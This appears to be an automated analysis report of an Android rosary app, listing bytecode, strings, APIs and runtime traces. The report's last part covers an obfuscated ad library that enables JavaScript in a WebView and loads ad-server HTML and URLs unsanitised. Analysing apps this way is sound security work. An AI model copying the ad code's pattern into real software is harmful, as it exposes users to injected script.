  • prsolutions.rosariofacileads.Player.getString
  • android.content.Context.getString
  • prsolutions.rosariofacileads.Player.getString
Strings
  • Oggi \u00e8
  • . Recitiamo i Misteri
  • Martedi
  • Dolorosi
Position Instruction Meta Information
0.param p1, "ora" # I
1.prologue
2const v8, 0x7f050008
3const v7, 0x7f050005
4const/16 v6, 0x191
5const/16 v5, 0x12d
6const/16 v4, 0xc9
8const-string v1, ""
10const-string v2, ""
11if-nez p1, :cond_1c
12new-instance v0, Ljava/util/GregorianCalendar;
14invoke-direct {v0}, Ljava/util/GregorianCalendar;-><init>()V
15const/4 v3, 0x7
17invoke-virtual {v0, v3}, Ljava/util/Calendar;->get(I)I
  • Data flow analysis:
    • p0: 7
18move-result p1
19cond_1c: packed-switch p1, :pswitch_data_ac
20goto_1f: new-instance v3, Ljava/lang/StringBuilder;
22invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
24const-string v4, "Oggi \u00e8 "
26invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Oggi \u00e8
27move-result-object v3
29invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v3
32const-string v4, ". Recitiamo i Misteri "
34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: . Recitiamo i Misteri
35move-result-object v3
37invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v3
40invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
41move-result-object v2
42return-object v2
43pswitch_3d: const v3, 0x7f050006
45invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034118
46move-result-object v2
47const v3, 0x7f05000a
49invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034122
50move-result-object v1
51iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
52goto/16 :goto_1f
53pswitch_4e: const v3, 0x7f05000d
55invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034125
56move-result-object v2
58invoke-virtual {p0, v8}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034120
59move-result-object v1
60iput v4, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
61goto/16 :goto_1f
62pswitch_5c: const v3, 0x7f05000e
64invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Time: 59893
    • This:
      • prsolutions.rosariofacileads.Player@1d08e6f3
    • resId: 2131034126
    • Return:
      • Martedi
65move-result-object v2
67invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Time: 59903
    • This:
      • prsolutions.rosariofacileads.Player@1d08e6f3
    • resId: 2131034117
    • Return:
      • Dolorosi
68move-result-object v1
69iput v6, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
70goto/16 :goto_1f
71pswitch_6a: const v3, 0x7f05000f
73invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034127
74move-result-object v2
75const v3, 0x7f05000a
77invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034122
78move-result-object v1
79iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
80goto/16 :goto_1f
81pswitch_7b: const v3, 0x7f050009
83invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034121
84move-result-object v2
85const v3, 0x7f05000c
87invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034124
88move-result-object v1
89const/16 v3, 0x65
90iput v3, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
91goto/16 :goto_1f
92pswitch_8e: const v3, 0x7f050020
94invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034144
95move-result-object v2
97invoke-virtual {p0, v7}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034117
98move-result-object v1
99iput v6, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
100goto/16 :goto_1f
101pswitch_9c: const v3, 0x7f050018
103invoke-virtual {p0, v3}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034136
104move-result-object v2
106invoke-virtual {p0, v8}, Lprsolutions/rosariofacileads/Player;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131034120
107move-result-object v1
108iput v4, p0, Lprsolutions/rosariofacileads/Player;->giornata:I
109goto/16 :goto_1f
110nop
APIs
  • android.app.Activity.onCreate
  • prsolutions.rosariofacileads.Player.getIntent
  • android.content.Intent.getExtras
  • android.os.Bundle.getInt
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
Strings
  • Mistero
Position Instruction Meta Information
0.param p1, "icicle" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
5invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getIntent()Landroid/content/Intent;
6move-result-object v1
8invoke-virtual {v1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 59817
    • This:
      • Intent { cmp=prsolutions.rosariofacileads/.Player (has extras) }
    • Return:
      • Bundle[mParcelledData.dataSize=32]
9move-result-object v0
11const-string v1, "Mistero"
13invoke-virtual {v0, v1}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • key: Mistero
14move-result v1
15iput v1, p0, Lprsolutions/rosariofacileads/Player;->Mistero:I
17invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
19iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
20iget v2, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
21aget v1, v1, v2
23invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
24move-result-object v1
26invoke-direct {p0, v1}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
27return-void
APIs
  • prsolutions.rosariofacileads.RosarioFacile.getApplication
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • prsolutions.rosariofacileads.RosarioFacile.startActivity
Strings
  • Mistero
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
2new-instance v0, Landroid/content/Intent;
4iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile;
6invoke-virtual {v1}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application;
7move-result-object v1
8const-class v2, Lprsolutions/rosariofacileads/Player;
10invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12const-string v1, "Mistero"
13const/4 v2, 0x0
15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: Mistero
    • p1: 0
17iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile;
19invoke-virtual {v1, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V
  • Time: 59766
    • This:
      • prsolutions.rosariofacileads.RosarioFacile@e1f218d
    • intent: Intent { cmp=prsolutions.rosariofacileads/.Player (has extras) }
20return-void

360 Non-Executed Methods

Cross References
APIs
  • android.webkit.WebView.<init>
  • com.vxjxu.jkhfn1870.ImageBanner.setVerticalScrollBarEnabled
  • com.vxjxu.jkhfn1870.ImageBanner.setHorizontalScrollBarEnabled
  • com.vxjxu.jkhfn1870.ImageBanner.setScrollBarStyle
  • com.vxjxu.jkhfn1870.ImageBanner.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • com.vxjxu.jkhfn1870.ImageBanner.plugin
  • com.vxjxu.jkhfn1870.ImageBanner.setBackgroundColor
  • com.vxjxu.jkhfn1870.ImageBanner$1.<init>
  • com.vxjxu.jkhfn1870.ImageBanner.setWebViewClient
  • java.lang.Object.getClass
  • java.lang.Class.getMethod
  • java.lang.Integer.valueOf
  • java.lang.reflect.Method.invoke
  • com.vxjxu.jkhfn1870.AdView.getadWidth
  • com.vxjxu.jkhfn1870.AdView.getadHeight
  • android.widget.FrameLayout$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.ImageBanner.setLayoutParams
  • com.vxjxu.jkhfn1870.ImageBanner.loadDataWithBaseURL
  • java.lang.IllegalArgumentException.printStackTrace
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.ImageBanner.sendImpression
  • java.lang.IllegalAccessException.printStackTrace
  • java.lang.reflect.InvocationTargetException.printStackTrace
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.ImageBanner.setLayoutParams
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.ImageBanner.loadUrl
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.ImageBanner.setLayoutParams
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.ImageBanner.loadDataWithBaseURL
  • com.vxjxu.jkhfn1870.ImageBanner.setLayoutParams
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.ImageBanner.loadDataWithBaseURL
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.ImageBanner.loadDataWithBaseURL
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.ImageBanner.loadDataWithBaseURL
Strings
  • AirplayMraid
  • setLayerType
  • text/html
  • UTF-8
  • 89
  • Url is null
  • <html><head>
  • <style>* {margin:0;padding:0; width:
  • ; height:
  • ;}</style></head><body>
  • </body></html>
  • <html><head><style>* {margin:0;padding:0; width:
  • text
  • <html><head><style>* {margin:0;}</style></head><body>
  • <div style=\'background-color:
  • ; width:
  • ;\'><table><tr>
  • <td rowspan=\'2\' align=\'center\'><img alt=\'icon\' style=\'padding: 2\' src=\'
  • \'></td>
  • <td><font color=\'
  • \'><b>
  • </b><br></font>
  • </td><tr><td><font size=2 color=\'
  • \'>
  • </font></td></tr>
  • </table></div></body></html>
  • <html><head><style>* {margin:0;padding:0;}</style></head><body>
  • <img src=\"
  • \" height=\"
  • \" width=\"
  • \"/>
  • </html></head>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "newWidth" # I
2.param p3, "newHeight" # I
3.param p4, "loadingListener" # Landroid/os/Handler;
4.param p5, "ad" # Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
5.param p6, "animationListener" # Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
6.param p7, "isTestMode" # Z
7.param p8, "adView" # Lcom/vxjxu/jkhfn1870/AdView;
8.annotation build Landroid/annotation/SuppressLint;
9value = {
10"SetJavaScriptEnabled"
11}
12.end annotation
13.prologue
15invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
17const-string v1, "AirplayMraid"
18iput-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->TAG:Ljava/lang/String;
19try_start_7: move/from16 v0, p7
20iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->isTestMode:Z
21move-object/from16 v0, p6
22iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;
23move-object/from16 v0, p8
24iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView;
25move-object/from16 v0, p5
26iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
27const/4 v1, 0x0
29invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setVerticalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
30const/4 v1, 0x0
32invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setHorizontalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
33const/high16 v1, 0x2000000
35invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setScrollBarStyle(I)V
  • Data flow analysis:
    • style: 33554432
37invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings;
38move-result-object v1
39const/4 v2, 0x1
41invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
43invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->plugin()V
44const/4 v1, 0x0
46invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setBackgroundColor(I)V
  • Data flow analysis:
    • color: 0
47new-instance v12, Lcom/vxjxu/jkhfn1870/ImageBanner$1;
48move-object/from16 v0, p4
50invoke-direct {v12, p0, p1, v0}, Lcom/vxjxu/jkhfn1870/ImageBanner$1;-><init>(Lcom/vxjxu/jkhfn1870/ImageBanner;Landroid/content/Context;Landroid/os/Handler;)V
52invoke-virtual {p0, v12}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setWebViewClient(Landroid/webkit/WebViewClient;)V
53sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
54try_end_3f: const/16 v2, 0xb
55if-lt v1, v2, :cond_6c
56try_start_43:
57invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
58move-result-object v1
60const-string v2, "setLayerType"
61const/4 v3, 0x2
62new-array v3, v3, [Ljava/lang/Class;
63const/4 v4, 0x0
65sget-object v5, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
66aput-object v5, v3, v4
67const/4 v4, 0x1
68const-class v5, Landroid/graphics/Paint;
69aput-object v5, v3, v4
71invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Data flow analysis:
    • p0: setLayerType
72move-result-object v11
73const/4 v1, 0x2
74new-array v1, v1, [Ljava/lang/Object;
75const/4 v2, 0x0
76const/4 v3, 0x1
78invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 1
79move-result-object v3
80aput-object v3, v1, v2
81const/4 v2, 0x1
82const/4 v3, 0x0
83aput-object v3, v1, v2
85invoke-virtual {v11, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
86try_start_6c: new-instance v10, Landroid/widget/FrameLayout$LayoutParams;
88iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView;
90invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getadWidth()I
91move-result v1
93iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->adView:Lcom/vxjxu/jkhfn1870/AdView;
95invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/AdView;->getadHeight()I
96move-result v2
98invoke-direct {v10, v1, v2}, Landroid/widget/FrameLayout$LayoutParams;-><init>(II)V
100iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
102invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isInlineScript()Z
103move-result v1
104if-eqz v1, :cond_b7
106invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
107const/4 v2, 0x0
109iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
111invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
112move-result-object v3
114const-string v4, "text/html"
116const-string v5, "UTF-8"
117const/4 v6, 0x0
118move-object v1, p0
120invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
121goto_98: return-void
122catch_99: move-exception v9
124invoke-virtual {v9}, Ljava/lang/IllegalArgumentException;->printStackTrace()V
125try_end_9d: goto/16 :goto_6c
126catch_9e: move-exception v9
128invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
130const-string v1, "89"
132invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
133goto/16 :goto_98
134catch_a8: move-exception v9
135try_start_a9:
136invoke-virtual {v9}, Ljava/lang/IllegalAccessException;->printStackTrace()V
137goto/16 :goto_6c
138catch_ad: move-exception v9
140invoke-virtual {v9}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
141goto/16 :goto_6c
142catch_b2: move-exception v9
144invoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
145goto/16 :goto_6c
146cond_b7:
147iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
149invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isPlainUrl()Z
150move-result v1
151if-eqz v1, :cond_ea
153invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
155iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
157invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
158move-result-object v1
159if-eqz v1, :cond_e2
161iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
163invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
164move-result-object v1
166const-string v2, ""
168invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
169move-result v1
170if-nez v1, :cond_e2
172iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
174invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
175move-result-object v1
177invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadUrl(Ljava/lang/String;)V
178goto/16 :goto_98
179cond_e2:
180const-string v1, "AirplayMraid"
182const-string v2, "Url is null"
184invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Url is null
185goto/16 :goto_98
186cond_ea:
187iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
189invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isJsAd()Z
190move-result v1
191if-eqz v1, :cond_148
193invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
194new-instance v8, Ljava/lang/StringBuilder;
196invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
197new-instance v1, Ljava/lang/StringBuilder;
199invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
201const-string v2, "<html><head>"
203invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head>
204move-result-object v1
206iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
208invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
209move-result-object v2
211invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
212move-result-object v1
214const-string v2, "<style>* {margin:0;padding:0; width: "
216invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <style>* {margin:0;padding:0; width:
217move-result-object v1
219invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
220move-result-object v1
222const-string v2, "; height: "
224invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ; height:
225move-result-object v1
226move/from16 v0, p3
228invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
229move-result-object v1
231const-string v2, ";}</style></head><body>"
233invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;}</style></head><body>
234move-result-object v1
236invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
237move-result-object v1
239invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
240move-result-object v1
242const-string v2, "</body></html>"
244invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </body></html>
245const/4 v2, 0x0
247invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
248move-result-object v3
250const-string v4, "text/html"
252const-string v5, "UTF-8"
253const/4 v6, 0x0
254move-object v1, p0
256invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
257goto/16 :goto_98
258cond_148:
259iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
261invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isHtmlAd()Z
262move-result v1
263if-eqz v1, :cond_1a0
265invoke-virtual {p0, v10}, Lcom/vxjxu/jkhfn1870/ImageBanner;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
266new-instance v8, Ljava/lang/StringBuilder;
268invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
269new-instance v1, Ljava/lang/StringBuilder;
271invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
273const-string v2, "<html><head><style>* {margin:0;padding:0; width: "
275invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head><style>* {margin:0;padding:0; width:
276move-result-object v1
278invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
279move-result-object v1
281const-string v2, "; height: "
283invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ; height:
284move-result-object v1
285move/from16 v0, p3
287invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
288move-result-object v1
290const-string v2, ";}</style></head><body>"
292invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;}</style></head><body>
293move-result-object v1
295invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
296move-result-object v1
298invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
299move-result-object v1
301iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
303invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getTag()Ljava/lang/String;
304move-result-object v2
306invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
307move-result-object v1
309const-string v2, "</body></html>"
311invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: </body></html>
312const/4 v2, 0x0
314invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
315move-result-object v3
317const-string v4, "text/html"
319const-string v5, "UTF-8"
320const/4 v6, 0x0
321move-object v1, p0
323invoke-virtual/range {v1 .. v6}, Lcom/vxjxu/jkhfn1870/ImageBanner;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 0
    • p2: text/html
    • p3: UTF-8
    • p4: 0
324goto/16 :goto_98
325cond_1a0:
326iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
328invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_type()Ljava/lang/String;
329move-result-object v1
331const-string v2, "text"
333invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: text
334move-result v1
335if-eqz v1, :cond_28b
336new-instance v7, Ljava/lang/StringBuilder;
338invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
340const-string v1, "<html><head><style>* {margin:0;}</style></head><body>"
342invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <html><head><style>* {margin:0;}</style></head><body>
343new-instance v1, Ljava/lang/StringBuilder;
345invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
347const-string v2, "<div style=\'background-color: "
349invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: <div style=\'background-color:
350move-result-object v1
352iget-object v2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
354invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getBanner_bg()Ljava/lang/String;
355move-result-object v2
357invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
358move-result-object v1
360const-string v2, "; width: "
362invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ; width:
363move-result-object v1
